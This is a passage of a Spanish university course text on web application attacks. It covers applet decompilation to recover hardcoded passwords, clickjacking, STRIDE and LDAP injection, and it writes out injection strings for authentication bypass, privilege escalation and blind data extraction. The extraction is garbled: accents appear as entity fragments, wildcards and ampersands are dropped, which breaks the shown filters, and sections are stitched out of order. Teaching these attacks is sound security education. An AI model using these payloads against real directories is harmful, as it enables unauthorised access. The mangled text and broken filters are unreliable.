en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 22: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

